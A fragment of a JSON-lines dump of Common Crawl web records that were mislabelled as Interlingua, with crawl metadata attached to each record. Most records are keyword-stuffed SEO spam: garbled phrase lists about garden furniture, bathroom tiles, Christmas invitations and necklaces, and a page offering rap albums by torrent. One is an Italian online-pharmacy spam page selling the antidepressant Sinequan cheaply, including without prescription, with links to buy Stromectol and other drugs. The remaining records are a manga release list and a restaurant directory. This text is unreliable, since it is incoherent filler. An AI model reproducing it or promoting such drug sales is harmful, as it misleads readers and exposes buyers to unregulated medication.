fabric.","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/cdonline.info\/aqua-colored-fabric\/","date":"2019-04-19T04:43:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527135.18\/warc\/CC-MAIN-20190419041415-20190419063415-00294.warc.gz","language":"ina","language_score":0.5094636679,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.5094636678695679, \"eng_Latn_score\": 0.22537735104560852, \"cbk_Latn_score\": 0.12338928133249283, \"ile_Latn_score\": 0.04104841873049736, \"lat_Latn_score\": 0.03841622173786163, \"oci_Latn_score\": 0.013642294332385063}","num_words":1044,"character_repetition_ratio":0.333,"word_repetition_ratio":0.261,"special_characters_ratio":0.169,"stopwords_ratio":0.024,"flagged_words_ratio":0.0,"lang_id_score":0.509,"perplexity_score":10724.9,"cluster_detection":-1} +{"text":"salon jardin detente excellent salon jardin detente nimes idee phenomenal salon jardin pas cher auchan de castorama corona palette facile with salon jardin detente salon detente jardin la redoute.\nsalon jardin detente salon de detente pour jardin salon detente jardin impressionnant photos astuces pour nettoyer son salon de salon de detente pour jardin salon de jardin detente resine.\nsalon jardin detente salon de jardin creative salon exterieur frais 20 frais salon jardin salon de jardin detente salon jardin detente bois.\nsalon jardin detente salon de jardin pas cher colmar salon jardin detente teck.\nsalon jardin detente salon maldives r sine gris 5 places groupon shopping salon de jardin detente resine.\nsalon jardin detente cool wonderful salon de jardin nevada salon de jardin en teck leroy merlin with salon jardin nevada with salon jardin detente with salon de detente leroy salon jardin detente alu.\nsalon jardin detente awesome salon de detente jardin with salon de detente jardin salon de jardin detente bois.\nsalon jardin detente salon de jardin salon dextarieur datente hesperide salon jardin detente pas cher.\nsalon jardin detente salon jardin detente 26 id es d un de confortable et moderne 18 salon jardin detente hesperide.\nsalon jardin detente salon de jardin design club pour petit espace salon detente jardin resine tressee.\nsalon jardin detente salon de detente pour jardin fresh amacnager un salon de jardin bas for 16 fantastique photos salon jardin detente maison du monde.\nsalon jardin detente salon de jardin en aluminium with salon de detente exterieur salon jardin detente aluminium.\nsalon jardin detente salon de jardin bois pas cher salon detente jardin resine tressee.\nsalon jardin detente lit de jardin datente cocoon salon de jardin detente resine.\nsalon jardin detente salon de jardin salon jardin detente pas cher.\nsalon jardin detente salon de jardin d tente summer 4 places roland vlaemynck for salon de jardin detente salon jardin detente alu.\nsalon jardin detente cool salon de detente exterieur with salon de detente exterieur salon jardin detente aluminium.\nsalon jardin detente salon de jardin detente sign pour salon beau salon salon tente salon jardin detente pas cher salon de jardin detente resine.\nsalon jardin detente salon de jardin detente hesperide.\nsalon jardin detente medium size of salon jardin detente ensemble de dactente martika alu salon jardin detente bois.\nsalon jardin detente salon jardin detente teck 100 images salon jardin teck luxe salon jardin detente bois.\nsalon jardin detente salon bas de jardin canap fauteuil bas salon de dtente au salon de with salon jardin salon jardin detente resine.\nsalon jardin detente salon jardin detente fresh stunning salon de jardin en rotin la throughout 16 beau collection de salon jardin detente castorama.\nsalon jardin detente salon de jardin detente bois salon jardin detente maison du monde.\nsalon jardin detente salon de jardin dactente 4 places new york roland vlaemynck salon jardin detente resine.\nsalon jardin detente salon detente jardin pas cher salon jardin detente hesperide.\nsalon jardin detente salon de jardin detente pas cher salon jardin detente alu.\nsalon jardin detente salon de jardin monaco salon de jardin 4 places aspect rotin tress salon de jardin detente bois.\nsalon jardin detente la collection sulana extacrieur pinterest salon de jardin with salon jardin detente salon de jardin detente bois.\nsalon jardin detente alano salon de jardin salon de jardin detente bois.\nsalon jardin detente salon jardin detente nouvelle collection de d tente miranda regarding salon jardin detente salon de jardin detente bois.\nsalon jardin detente salon de jardin pices gris with salon de detente exterieur salon detente jardin resine tressee.","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/lifeincity.info\/salon-jardin-detente\/","date":"2019-08-17T22:49:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027313501.0\/warc\/CC-MAIN-20190817222907-20190818004907-00033.warc.gz","language":"ina","language_score":0.5123519301,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.512351930141449, \"lfn_Latn_score\": 0.1383613795042038, \"fra_Latn_score\": 0.045400217175483704, \"pan_Latn_score\": 0.043552741408348083, \"kaq_Latn_score\": 0.018744703382253647, \"sas_Latn_score\": 0.016752837225794792, \"kao_Latn_score\": 0.016073286533355713, \"heg_Latn_score\": 0.01043457817286253}","num_words":912,"character_repetition_ratio":0.413,"word_repetition_ratio":0.193,"special_characters_ratio":0.17,"stopwords_ratio":0.019,"flagged_words_ratio":0.0,"lang_id_score":0.512,"perplexity_score":9941.6,"cluster_detection":-1} +{"text":"Rohff relation de merde\nAjouté il ya 2 ans\nTelecharger Rohff relation de merde 2018 download Rohff relation de merde mp3 ecouter Rohff relation de merde Music Rohff relation de merde Album mp3 2018 Rohff relation de merde album Rohff relation de merde torrent 320 Kbps 2018 Rap Rohff relation de merde torrent Rohff relation de merde Album Rohff relation de merde mp3 Photo de Rohff relation de merde sur notre site 33rap.co","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/www.33rap.co\/rohff-relation-de-merde.html","date":"2019-08-23T14:49:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027318421.65\/warc\/CC-MAIN-20190823130046-20190823152046-00233.warc.gz","language":"ina","language_score":0.320735544,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.32073554396629333, \"por_Latn_score\": 0.19347034394741058, \"fra_Latn_score\": 0.18005235493183136, \"diq_Latn_score\": 0.043443091213703156, \"mlt_Latn_score\": 0.02909076027572155, \"glg_Latn_score\": 0.02136971801519394, \"nld_Latn_score\": 0.020478595048189163, \"swe_Latn_score\": 0.019221676513552666, \"ksh_Latn_score\": 0.01348157599568367, \"ekk_Latn_score\": 0.01300608366727829, \"gsw_Latn_score\": 0.012600543908774853}","num_words":120,"character_repetition_ratio":0.395,"word_repetition_ratio":0.072,"special_characters_ratio":0.222,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":0.414,"perplexity_score":9058.2,"cluster_detection":-1} +{"text":"Valutazione 4.8 sulla base di 61 voti.\nPrezzo da inizio €0.26 Per pillola\nA buon mercato Sinequan 25 mg Finlandia\nSconto Sinequan Doxepin hydrochloride Israele\nOrdine 25 mg Sinequan Australia\nSinequan generico y alcohol\ngenerico Doxepin hydrochloride Danimarca\nbasso costo Sinequan Polonia\nper acquistare il Sinequan serve la ricetta\ndonde comprar genericos Sinequan\nAcquistare Sinequan 25 mg Croazia\nQuanto costa 25 mg Sinequan Norvegia\nOrdine 25 mg Sinequan Svezia\ncome acquistare Sinequan\nSconto Sinequan Doxepin hydrochloride Repubblica Ceca\ncosto Sinequan farmacia mexico\nPrezzo basso 25 mg Sinequan US\nPrezzo basso Sinequan 25 mg Stati Uniti\ngenerico Doxepin hydrochloride Francia\nPrezzo basso Doxepin hydrochloride Spagna\nSinequan generico vendita italia\nA buon mercato Sinequan Doxepin hydrochloride Croazia\ngenerico do Sinequan 25 mg\nvendita Sinequan barcelona\nvendita di Sinequan italia\nOrdine 25 mg Sinequan UK\nprecio Sinequan 25 mg farmacia\nIl costo di Sinequan Doxepin hydrochloride Stati Uniti\nja existe generico do Sinequan\nSinequan generico maxifort\nPrezzo Doxepin hydrochloride Singapore\nAcquistare Sinequan Doxepin hydrochloride Italia\ngenerico 25 mg Sinequan Danimarca\nIl costo di 25 mg Sinequan Italia\nOrdine Sinequan Doxepin hydrochloride Finlandia\nacquisto Sinequan generico in contrassegno\nAcquistare 25 mg Sinequan Regno Unito\nSinequan generico aurochem\nA buon mercato Sinequan Doxepin hydrochloride Portogallo\nventa de Sinequan generico\nAcquista Sinequan 25 mg Olanda\ncomprar generico Sinequan portugal\nSinequan acquisto line\nSconto 25 mg Sinequan Spagna\nPrezzo basso 25 mg Sinequan Regno Unito\nOrdine Sinequan Doxepin hydrochloride US\nSinequan generico foro\nacquisto Sinequan online reato\nA buon mercato Sinequan Doxepin hydrochloride Inghilterra\nA buon mercato Sinequan Europa\nPrezzo basso Sinequan 25 mg Grecia\nproblemas Sinequan generico\nSinequan 25 mg acquisto line\nSinequan vendita sicura\ngenerico Sinequan Doxepin hydrochloride Portogallo\nSinequan generico uruguai\nAcquistare Sinequan 25 mg UK\nin linea 25 mg Sinequan Canada\nacquisto Sinequan generico in italia\nIl costo di Sinequan Regno Unito\nSinequan en farmacias similares mexico\nPrezzo Doxepin hydrochloride Repubblica Ceca\nPrezzo Sinequan Tacchino\nSinequan en farmacias de peru\nAcquistare Doxepin hydrochloride Belgio\nAcquista Sinequan 25 mg Emirati Arabi Uniti\nAcquista Sinequan 25 mg US\nOrdine Sinequan Doxepin hydrochloride Norvegia\nSinequan farmacias guadalajara mexico\nSconto Sinequan Doxepin hydrochloride Danimarca\nOrdine Doxepin hydrochloride Emirati Arabi Uniti\ndove acquistare Sinequan svizzera\nSinequan generico argentina\nnombre de Sinequan generico\nse puede comprar Sinequan farmacia sin receta\nnombre del Sinequan en genericos\nSinequan generico farmacia italiana\nil Sinequan si puo' acquistare in farmacia\nA buon mercato Doxepin hydrochloride Austria\nAcquistare Sinequan Doxepin hydrochloride Brasile\nIl costo di 25 mg Sinequan Canada\ngenerico Sinequan medley\nfarmacias madrid Sinequan\nin linea Sinequan Repubblica Ceca\nAcquistare 25 mg Sinequan Portogallo\nA buon mercato Doxepin hydrochloride Inghilterra\nAcquista Sinequan 25 mg Stati Uniti\nAcquista Doxepin hydrochloride Finlandia\nacquisto Sinequan generico on line\npreco do Sinequan generico\nSinequan generica farmacia\nOrdine 25 mg Sinequan Polonia\nSinequan acquisto sicuro italia\nIl costo di Doxepin hydrochloride Brasile\nSconto Sinequan Doxepin hydrochloride Giappone\nconveniente Sinequan 25 mg UK\ngenerico Sinequan now\nSconto Sinequan Spagna\nquanto costa Sinequan farmacia italiana\npreco do Sinequan nas farmacias\ngenerico Sinequan kern\ngenerico do Sinequan no brasil\nSconto Sinequan 25 mg Israele\nAcquista 25 mg Sinequan Europa\nconveniente Doxepin hydrochloride Australia\nconveniente Doxepin hydrochloride US\ngenerico Sinequan preço\nIl costo di Sinequan Doxepin hydrochloride Canada\nIl costo di Sinequan Doxepin hydrochloride Tacchino\ntomar Sinequan generico\nbuy Clomiphene\ncheap Stromectol\nbuy Inderal\nbuy Levitra Oral Jelly\nbuy Tadalis\nXq2dvwI","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/gkottapola.000webhostapp.com\/2019\/06\/miglior-farmacia-a-comprare-generics-basso-costo-25-mg-sinequan-generico-in-roselle-nj-tutte-le-pillole-per-le-vostre-esigenze-qui","date":"2019-08-20T18:21:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315558.25\/warc\/CC-MAIN-20190820180442-20190820202442-00547.warc.gz","language":"ina","language_score":0.4160353243,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.41603532433509827, \"ita_Latn_score\": 0.09134957939386368, \"lat_Latn_score\": 0.09041959047317505, \"eus_Latn_score\": 0.05536045879125595, \"mlt_Latn_score\": 0.04467683285474777, \"ile_Latn_score\": 0.04328065738081932, \"kiu_Latn_score\": 0.027538960799574852, \"scn_Latn_score\": 0.01994127593934536, \"nld_Latn_score\": 0.019795184955000877, \"vec_Latn_score\": 0.018056580796837807, \"lij_Latn_score\": 0.015834404155611992, \"fin_Latn_score\": 0.014219358563423157, \"por_Latn_score\": 0.013192794285714626, \"lvs_Latn_score\": 0.012432495132088661, \"slk_Latn_score\": 0.011952497065067291}","num_words":1181,"character_repetition_ratio":0.246,"word_repetition_ratio":0.077,"special_characters_ratio":0.155,"stopwords_ratio":0.015,"flagged_words_ratio":0.0,"lang_id_score":0.225,"perplexity_score":31129.8,"cluster_detection":-1} +{"text":"incroyable genial carte d invitation repas de noel gratuite et e invitation noel 25 e invitation noel.\ncarte dinvitation repas de noel gratuite invitation gratuit images mole,carte invitation repas noel gratuit dinvitation de gratuite pour ,carte dinvitation repas de noel gratuite invitation gratuit d razorblasocietycom,carte dinvitation repas de noel gratuite la invitations invitation gratuit ,invitation ans a carte dinvitation repas de noel gratuite gratuit,carte dinvitation repas de noel gratuite invitation images mole gratuit,carte invitation repas noel gratuit d dinvitation de gratuite ,carte invitation repas noel gratuit dinvitation de gratuite ,invitation cyberscom carte repas noel gratuit dinvitation de gratuite ,carte invitation repas noel gratuit dinvitation de gratuite cartons.","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/rapidrip.info\/carte-d-invitation-repas-de-noel-gratuite\/incroyable-genial-carte-d-invitation-repas-de-noel-gratuite-et-e-invitation-noel-25-e-invitation-noel\/","date":"2019-09-22T10:22:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514575484.57\/warc\/CC-MAIN-20190922094320-20190922120320-00325.warc.gz","language":"ina","language_score":0.5433986783,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5433986783027649, \"fra_Latn_score\": 0.09641679376363754, \"lat_Latn_score\": 0.036502815783023834, \"mfe_Latn_score\": 0.0313369557261467, \"sco_Latn_score\": 0.02168908901512623, \"por_Latn_score\": 0.017531491816043854, \"wes_Latn_score\": 0.0162157341837883, \"eng_Latn_score\": 0.014212369918823242, \"nrm_Latn_score\": 0.013887914828956127, \"spa_Latn_score\": 0.012223433703184128}","num_words":216,"character_repetition_ratio":0.266,"word_repetition_ratio":0.285,"special_characters_ratio":0.149,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":0.543,"perplexity_score":7883.7,"cluster_detection":-1} +{"text":"meubles de jardin design mobilier de jardin deco génial hd meubles de jardin design mobilier de jardin deco génial hd meubles de jardin design... Read More\no decorar tu jardin meuble de jardin hesperide 16 lo mejor de meubles zone industrielle annemasse 48 beau luxe collection de salon de jardin... Read More","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.in-outonline.com\/tag\/meubles-de\/","date":"2019-09-16T07:38:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514572491.38\/warc\/CC-MAIN-20190916060046-20190916082046-00117.warc.gz","language":"ina","language_score":0.3370190561,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.33701905608177185, \"fra_Latn_score\": 0.1795184165239334, \"pan_Latn_score\": 0.0519091822206974, \"oci_Latn_score\": 0.03911624848842621, \"ile_Latn_score\": 0.038943685591220856, \"lim_Latn_score\": 0.03726193308830261, \"nld_Latn_score\": 0.026796488091349602, \"dag_Latn_score\": 0.02282886952161789, \"gul_Latn_score\": 0.020518241450190544, \"ace_Latn_score\": 0.018951570615172386, \"por_Latn_score\": 0.01497152354568243, \"wes_Latn_score\": 0.01318738516420126, \"sco_Latn_score\": 0.011774836108088493, \"nov_Latn_score\": 0.010915218852460384, \"sun_Latn_score\": 0.010592946782708168, \"ron_Latn_score\": 0.01016851607710123}","num_words":85,"character_repetition_ratio":0.177,"word_repetition_ratio":0.368,"special_characters_ratio":0.197,"stopwords_ratio":0.035,"flagged_words_ratio":0.0,"lang_id_score":0.272,"perplexity_score":7892.4,"cluster_detection":-1} +{"text":"njin\nSearch\nSize\nColor\nQuality\nsalle de bain anthracite\nsalle de bain anthracite et bois\nsalle de bain anthracite gris\ncarrelage gris anthracite salle de bain\nsalle de bain sol gris anthracite\nsalle de bain sol anthracite\nsalle de bain avec sol anthracite\nsalle de bain gris anthracite et bois\nsalle de bain mur gris anthracite\nfaience gris anthracite salle de bain","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.saigneradiego.com\/salle-de-bain-anthracite\/","date":"2019-10-19T13:31:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986693979.65\/warc\/CC-MAIN-20191019114429-20191019141929-00488.warc.gz","language":"ina","language_score":0.3616555035,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.36165550351142883, \"fra_Latn_score\": 0.2741391062736511, \"pan_Latn_score\": 0.086971715092659, \"pcd_Latn_score\": 0.03701714426279068, \"enm_Latn_score\": 0.03248817101120949, \"sco_Latn_score\": 0.027170920744538307, \"nrm_Latn_score\": 0.020970290526747704, \"gul_Latn_score\": 0.01965402439236641, \"ast_Latn_score\": 0.013853468932211399, \"rmq_Latn_score\": 0.013694670051336288}","num_words":101,"character_repetition_ratio":0.284,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.178,"flagged_words_ratio":0.0,"lang_id_score":0.364,"perplexity_score":6699.6,"cluster_detection":-1} +{"text":"Donyayema.info\nMenu\nNebula Libra Necklaces 12 constellation libra design glittering necklace k yellow Libra Necklaces Nebula .\nNebula Libra Necklaces libra necklace libra star constellation disc pendant Nebula Libra Necklaces .\nNebula Libra Necklaces libra zodiac constellation necklace with traits in Nebula Necklaces Libra .\nNebula Libra Necklaces orelia libra constellation necklace free delivery next Libra Nebula Necklaces .\nNebula Libra Necklaces libra constellation necklace sterling silver Necklaces Libra Nebula .\nNebula Libra Necklaces amazoncom libra zodiac constellation heart shaped Necklaces Libra Nebula .\nNebula Libra Necklaces daisies libra constellation necklace zodiac sign birth Nebula Libra Necklaces .\nNebula Libra Necklaces libra zodiac constellation necklace with traits in Libra Necklaces Nebula .\nNebula Libra Necklaces amazoncom libra constellation necklace libra jewelry Necklaces Nebula Libra .\nNebula Libra Necklaces 1piece women pendant necklace libra zodiac sign astrology Necklaces Libra Nebula .\nNebula Libra Necklaces libra constellation necklace envero jewelry Libra Necklaces Nebula .\nNebula Libra Necklaces libra libra necklace constellation necklace zodiac necklace Nebula Libra Necklaces .\nNebula Libra Necklaces amazoncom zodiac libra constellation necklace oxidized Necklaces Libra Nebula .\nNebula Libra Necklaces items similar to libra constellation necklace libra Libra Nebula Necklaces .\nNebula Libra Necklaces amazoncom libra constellation necklace libra charm Necklaces Nebula Libra .\nNebula Libra Necklaces hand made libra zodiac sign constellation necklace 18k gold Libra Necklaces Nebula .\nNebula Libra Necklaces libra constellation necklace sterling silver libra Nebula Necklaces Libra .\nNebula Libra Necklaces libra constellation necklace envero jewelry Libra Nebula Necklaces .\nNebula Libra Necklaces nebula libra necklaces Libra Nebula Necklaces .\nNebula Libra Necklaces libra constellation circle pendant necklace francesca39s Necklaces Nebula Libra .\nNebula Libra Necklaces libra constellation zodiac necklace gold zodiac by zennedout Libra Necklaces Nebula .\nNebula Libra Necklaces libra constellation necklace sterling silver Nebula Libra Necklaces .","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/donyayema.info\/nebula-libra-necklaces\/","date":"2019-12-07T21:29:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540502120.37\/warc\/CC-MAIN-20191207210620-20191207234620-00395.warc.gz","language":"ina","language_score":0.4052475691,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.4052475690841675, \"eng_Latn_score\": 0.19384707510471344, \"lvs_Latn_score\": 0.05400746688246727, \"slk_Latn_score\": 0.040446531027555466, \"lat_Latn_score\": 0.031290825456380844, \"swh_Latn_score\": 0.027087002992630005, \"slv_Latn_score\": 0.021017085760831833, \"bcl_Latn_score\": 0.020502861589193344, \"swe_Latn_score\": 0.01735670678317547, \"lit_Latn_score\": 0.011335342191159725, \"mlt_Latn_score\": 0.010408280417323112}","num_words":658,"character_repetition_ratio":0.318,"word_repetition_ratio":0.448,"special_characters_ratio":0.148,"stopwords_ratio":0.008,"flagged_words_ratio":0.0,"lang_id_score":0.484,"perplexity_score":13194.6,"cluster_detection":-1} +{"text":"|sorti le 30\/09\/93||sorti le 20\/12\/93||sorti le 30\/03\/94||sorti le 30\/06\/94||sorti le 30\/09\/94||sorti le 19\/12\/94|\n|sorti le 30\/03\/95||sorti le 30\/06\/95||sorti le 30\/09\/95||sorti le 19\/12\/95||sorti le 30\/03\/96||sorti le 30\/05\/96|\n|sorti le 30\/07\/96||sorti le 30\/10\/96||sorti le 19\/12\/96||sorti le 02\/04\/97||sorti le 30\/06\/97||sorti le 30\/09\/97|\n|sorti le 30\/01\/98||sorti le 30\/04\/98||sorti le 29\/08\/98||sorti le 30\/11\/98||sorti le 30\/03\/99||sorti le 30\/06\/99|\n|sorti le 30\/08\/99||sorti le 30\/11\/99||sorti le 29\/02\/00||sorti le 26\/04\/00||sorti le 30\/08\/00||sorti le 30\/10\/00|\n|sorti le 28\/02\/01||sorti le 30\/05\/01|\n|Couvertures japonaises des 32\nvolumes parus chez Shogakukan\n\n\n(série terminée)","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/www.mangaverse.net\/html\/gekkanokishicouvjap.htm","date":"2020-02-23T09:48:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145767.72\/warc\/CC-MAIN-20200223093317-20200223123317-00416.warc.gz","language":"ina","language_score":0.3384984136,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.33849841356277466, \"fra_Latn_score\": 0.19774889945983887, \"crs_Latn_score\": 0.10422240942716599, \"dyu_Latn_score\": 0.07456264644861221, \"fud_Latn_score\": 0.0417473278939724, \"ron_Latn_score\": 0.037771306931972504, \"smo_Latn_score\": 0.02792445942759514, \"tsn_Latn_score\": 0.021206988021731377, \"sot_Latn_score\": 0.01749657467007637, \"ita_Latn_score\": 0.013806402683258057}","num_words":184,"character_repetition_ratio":0.3,"word_repetition_ratio":0.869,"special_characters_ratio":0.586,"stopwords_ratio":0.011,"flagged_words_ratio":0.0,"lang_id_score":0.341,"perplexity_score":3325.8,"cluster_detection":-1} +{"text":"Recommend You to Choose the\nVerified Supplier\ninstallation de camera de surveillance ir color ccd camera night vision ir camera low cost ir camera ir camera for sale ip ir bullet camera high speed ir camera ip camera with ir ir remote control extender ir cut off filter long range ir camera high intensity ir led pc ir remote control high power ir led non contact ir thermometer\nir dome cctv camera ir rf remote control beach volleyball court size ir remote control ic ir night vision camera ir led for camera ir remote control light switch remote control ir receiver ir digital color ccd camera bga ir rework station uv ir flame detector uv ir cut filter long range ir light long range ir illuminator night vision ir illuminator\ninstallation de camera de surveillance ir color ccd camera night vision ir camera low cost ir camera ir camera for sale ip ir bullet camera high speed ir camera ip camera with ir ir remote control extender ir cut off filter long range ir camera high intensity ir led","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/www.ecer.com\/sale-appareil-de-chauffage-des-ondes-courtes-ir","date":"2020-04-03T17:39:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370515113.54\/warc\/CC-MAIN-20200403154746-20200403184746-00043.warc.gz","language":"ina","language_score":0.6370951533,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6370951533317566, \"eng_Latn_score\": 0.14778418838977814, \"lit_Latn_score\": 0.09901296347379684, \"lvs_Latn_score\": 0.06082482635974884, \"ltg_Latn_score\": 0.013773925602436066}","num_words":270,"character_repetition_ratio":0.137,"word_repetition_ratio":0.483,"special_characters_ratio":0.179,"stopwords_ratio":0.037,"flagged_words_ratio":0.0,"lang_id_score":0.63,"perplexity_score":12514.0,"cluster_detection":-1} +{"text":"Asadores Tenerife sur\nRestaurante Arrocerías Tenerife sur\nBares de Tapas Tenerife sur\nBraserías – Parrilla Tenerife sur\nRestaurantes cocina biológica Tenerife sur\nRestaurantes cocina creativa y de mercado Tenerife sur\nRestaurantes cocina erótica Tenerife sur\nRestaurantes cocina macrobiótica Tenerife sur\nRestaurantes cocina marinera Tenerife sur\nRestaurantes cocina medieval Tenerife sur\nRestaurantes cocina mediterránea Tenerife sur\nRestaurantes cocina de montaña Tenerife sur\nRestaurantes cocina tradicional Tenerife sur\nRestaurantes cocina vegetariana Tenerife sur\nMarisquerías Tenerife sur\nPizzerías Tenerife sur\nSidrerías Tenerife sur\nSushi Tenerife sur\nRestaurantes Cocina crudivegana Tenerife sur\nRestaurantes comida rápida Tenerife sur\nAsador de Pollos Tenerife sur\nBocadillos-Sandwiches Tenerife sur\nHamburgueserías Tenerife sur\nCreperías Tenerife sur\nRestaurantes Cocina Internacional Tenerife sur:\nRestaurantes cocina árabe Tenerife sur\nRestaurantes cocina alemana Tenerife sur\nRestaurantes cocina asiática Tenerife sur\nRestaurantes cocina argentina Tenerife sur\nRestaurantes cocina francesa Tenerife sur\nRestaurantes cocina fusión Tenerife sur\nRestaurantes cocina griega Tenerife sur\nRestaurantes cocina europea Tenerife sur\nRestaurantes cocina latinoamericana Tenerife sur\nRestaurantes cocina internacional Tenerife sur\nRestaurantes cocina italiana Tenerife sur\nRestaurantes cocina hindú Tenerife sur\nRestaurantes cocina mexicana Tenerife sur\nRestaurantes cocina libanesa Tenerife sur\nRestaurantes cocina nikkei Tenerife sur\nRestaurantes cocina portuguesa Tenerife sur\nRestaurantes cocina rumana Tenerife sur\nRestaurantes cocina turca Tenerife sur\nRestaurantes cocina Tex-Mex Tenerife sur\nRestaurantes cocina norteamericana Tenerife sur\nRestaurantes japonéses Tenerife sur\nRestaurantes chino Tenerife sur\nRestaurantes cocina española Tenerife sur\nKebab (Kebap) Tenerife sur\nRestaurantes Cocina regional Tenerife sur:\nRestaurantes cocina aragonesa Tenerife sur\nRestaurantes cocina andaluza Tenerife sur\nRestaurantes cocina canaria Tenerife sur\nRestaurantes cocina balear Tenerife sur\nRestaurantes cocina asturiana Tenerife sur\nRestaurantes cocina catalana Tenerife sur\nRestaurantes cocina castellano-manchega Tenerife sur\nRestaurantes cocina castellano-leonesa Tenerife sur\nRestaurantes cocina castellana Tenerife sur\nRestaurantes cocina gallega Tenerife sur\nRestaurantes cocina cántabra Tenerife sur\nRestaurantes cocina extremeña Tenerife sur\nRestaurantes cocina navarra Tenerife sur\nRestaurantes cocina murciana Tenerife sur\nRestaurantes cocina leonesa Tenerife sur\nRestaurantes cocina madrileña Tenerife sur\nRestaurantes cocina riojana Tenerife sur\nRestaurantes cocina regional española Tenerife sur\nRestaurantes cocina vasca Tenerife sur\nRestaurantes cocina valenciana Tenerife sur\nEncuentra restaurantes con……Tenerife sur\nRestaurantes con Menú del día Tenerifesur\nRestaurantes con Menús Grupos Tenerife sur\nRestaurantes con Menú Degustación Tenerife sur\nRestaurantes típicos Tenerife sur\nRestaurantes con Carta Tenerife sur\nRestaurantes de Hotel Tenerife sur\nRestaurantes con Vistas Tenerife sur\nRestaurantes en plena naturaleza Tenerife sur\nRestaurantes con espectaculo Tenerife sur\nRestaurantes en la playa Tenerife sur\nRestaurantes para empresas y eventos Tenerife sur\nCatering Tenerife sur\nRestaurantes con menú especial Tenerife sur\nRestaurantes Lujosos y elegantes Tenerife sur\nRestaurantes Chill Out – Lounge Tenerife sur\nRestaurantes con menú fin de semana Tenerife sur\nRestaurantes con coctelería – Cocktails Tenerife sur\nRestaurantes Gay Friendly Tenerife sur\nRestaurantes de Cocineros famosos Tenerife sur\nRestaurantes con Cartas de Vinos Tenerife sur\nRestaurantes temáticos Tenerife sur\nRestaurantes con menús bautizos y comuniones Tenerife sur\nRestaurantes con buffet Tenerife sur\nRestaurantes de carretera Tenerife sur\nBistrot Tenerife sur\nRestaurantes con vinoteca Tenerife sur\nRestaurantes con menús bodas Tenerife sur\nRestaurantes con encanto Tenerife sur\nRestaurantes con menú ejecutivo Tenerife sur\nRestaurantes centenarios Tenerife sur\nRestaurantes con menú infantil Tenerife\nRestaurantes con cenas empresa navidad Tenerife sur\nRestaurantes con menú de noche Tenerife sur\nRestaurantes en campos de Golf Tenerife sur\nRestaurantes con descuentos Tenerife sur\nRestaurantes con Estrella Michelín Tenerife sur\nRestaurantes show cooking Tenerife sur\nRestaurantes slow food Tenerife sur\nRestaurantes especial día de la madre Tenerife sur\nRestaurantes con regalo-obsequio Tenerife sur\nRestaurantes Top Chef 2014 Tenerife sur\nRestaurantes día del Padre Tenerife sur\nRestaurantes Top Chef 2013 Tenerife sur\nRestaurantes nochebuena y navidad Tenerife sur\nRestaurantes fin de año – nochevieja Tenerife sur\n[custom-facebook-feed id=111572842509603 num=8 height=500px]","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/restaurantestenerife.info\/restaurantes-tenerife-sur-tenerife-south-restaurants-ristoranti-tenerife-sud-restaurants-in-sudteneriffa-%D1%80%D0%B5%D1%81%D1%82%D0%BE%D1%80%D0%B0%D0%BD%D1%8B-%D1%82%D0%B5%D0%BD%D0%B5%D1%80%D0%B8-2\/","date":"2020-08-09T15:15:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738555.33\/warc\/CC-MAIN-20200809132747-20200809162747-00494.warc.gz","language":"ina","language_score":0.3108901978,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.31089019775390625, \"glg_Latn_score\": 0.29573962092399597, \"spa_Latn_score\": 0.13988514244556427, \"ast_Latn_score\": 0.04126551374793053, \"lat_Latn_score\": 0.03694126009941101, \"fra_Latn_score\": 0.026230674237012863, \"pap_Latn_score\": 0.013766315765678883, \"ile_Latn_score\": 0.012833128683269024, \"por_Latn_score\": 0.012759121134877205}","num_words":1272,"character_repetition_ratio":0.525,"word_repetition_ratio":0.043,"special_characters_ratio":0.136,"stopwords_ratio":0.009,"flagged_words_ratio":0.0,"lang_id_score":0.283,"perplexity_score":2132.4,"cluster_detection":-1} 